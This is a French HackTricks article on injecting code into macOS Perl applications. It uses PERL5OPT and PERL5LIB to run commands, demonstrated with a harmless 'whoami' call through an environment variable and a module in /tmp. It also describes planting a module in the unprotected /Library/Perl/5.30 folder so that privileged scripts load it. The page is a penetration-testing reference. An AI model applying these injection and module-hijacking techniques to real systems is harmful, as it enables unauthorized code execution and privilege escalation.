hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

4.6 KiB

Injection dans les applications Perl macOS

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Via la variable d'environnement PERL5OPT & PERL5LIB

En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par perl.
Par exemple, créez ce script :

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";

{% endcode %}

Maintenant, exportez la variable d'environnement et exécutez le script perl :

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Une autre option consiste à créer un module Perl (par exemple /tmp/pmod.pm):

{% code title="/tmp/pmod.pm" %}

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
Et ensuite utilisez les variables d'environnement :
PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Via les dépendances

Il est possible de lister l'ordre des dossiers de dépendances de Perl en exécution :

perl -e 'print join("\n", @INC)'

Lequel retournera quelque chose comme :

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Certains des dossiers retournés n'existent même pas, cependant, /Library/Perl/5.30 existe bien, il n'est pas protégé par SIP et il se trouve avant les dossiers protégés par SIP. Par conséquent, quelqu'un pourrait abuser de ce dossier pour y ajouter des dépendances de script afin qu'un script Perl à privilèges élevés le charge.

{% hint style="warning" %} Cependant, notez que vous devez être root pour écrire dans ce dossier et de nos jours, vous obtiendrez cette invite TCC : {% endhint %}

Par exemple, si un script importe use File::Basename;, il serait possible de créer /Library/Perl/5.30/File/Basename.pm pour lui faire exécuter du code arbitraire.

Références

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) !

Autres moyens de soutenir HackTricks :